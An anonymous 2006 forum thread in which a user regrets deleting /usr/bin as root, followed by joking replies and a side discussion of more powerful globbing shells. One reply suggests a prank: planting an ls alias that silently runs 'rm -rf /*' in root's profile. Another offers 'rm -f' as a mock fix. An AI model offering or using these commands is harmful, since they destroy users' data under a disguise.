1: Despite being the same length and equally pronouncable, "ls" and "rm" are NOT synonyms for the same command.
2: NEVER type "rm /usr/bin/*" with root privileges. EVER.
that is all. i have a long night ahead of me.
Name:
Anonymous2006-04-16 0:42
del /usr/*
Name:
Anonymous2006-04-16 0:57
Wouldn't the recursive switch have to be used...
Name:
Anonymous2006-04-16 1:43
look at me im cool i use unix in the command line because im a pro
Name:
Anonymous2006-04-16 1:44
>>3
not if you bypassed it with a handle or whatever they're called.
rm = rm -r
Name:
Anonymous2006-04-16 3:03
*shurg*
Name:
Anonymous2006-04-16 3:38
insert alias ls='rm -rf /* >/dev/null 2>/dev/null'into /root/.profile for great lulz!
Name:
Anonymous2006-04-16 6:58
why would you add a wildcard to ls anyway? in `ls /usr/lib/g*' it makes sense, but not alone.
Name:
Anonymous2006-04-16 7:14
*shurg*
Name:
Anonymous2006-04-16 18:52
The way * is handled - matching directories - is annoying. Is there a more powerful/customizable globbing shell?
Name:
Anonymous2006-04-17 1:16
>>10 you could learn some regex. the magic of ls -F and ` marks.
my advice for >>1 is to alias rm='rm -i' in your ~/.bashrc
Name:
Anonymous2006-04-17 1:29
DISREGARD THAT, I MEANT rm='rm -f'!!!1
Name:
Anonymous2006-04-17 6:37
>>11
I'm quite comfortable with Perl-compatible regex and I've been using them for quite some time, that's exactly what I'd need. I know about using external commands to select files (I wrote my own tools for that), but I was asking about a shell that will glob using PCRE or at least more powerful expressions, and more importantly, the ability to choose files only, directories only, both, and recurse subdirectories when globbing. That's basically what my tools do, but it's more cumbersome to use `pl dr directories_only_and_recursive_plus_PCRE_lol|xargs` than native globbing.
Name:
Anonymous2006-04-17 9:32
alias apts='apt-cache search'
do you use it motherfucker?
Name:
Anonymous2006-04-17 14:07
>>14
I don't have an APT-based distribution. Do you know of any globbing enhanced shells like I said?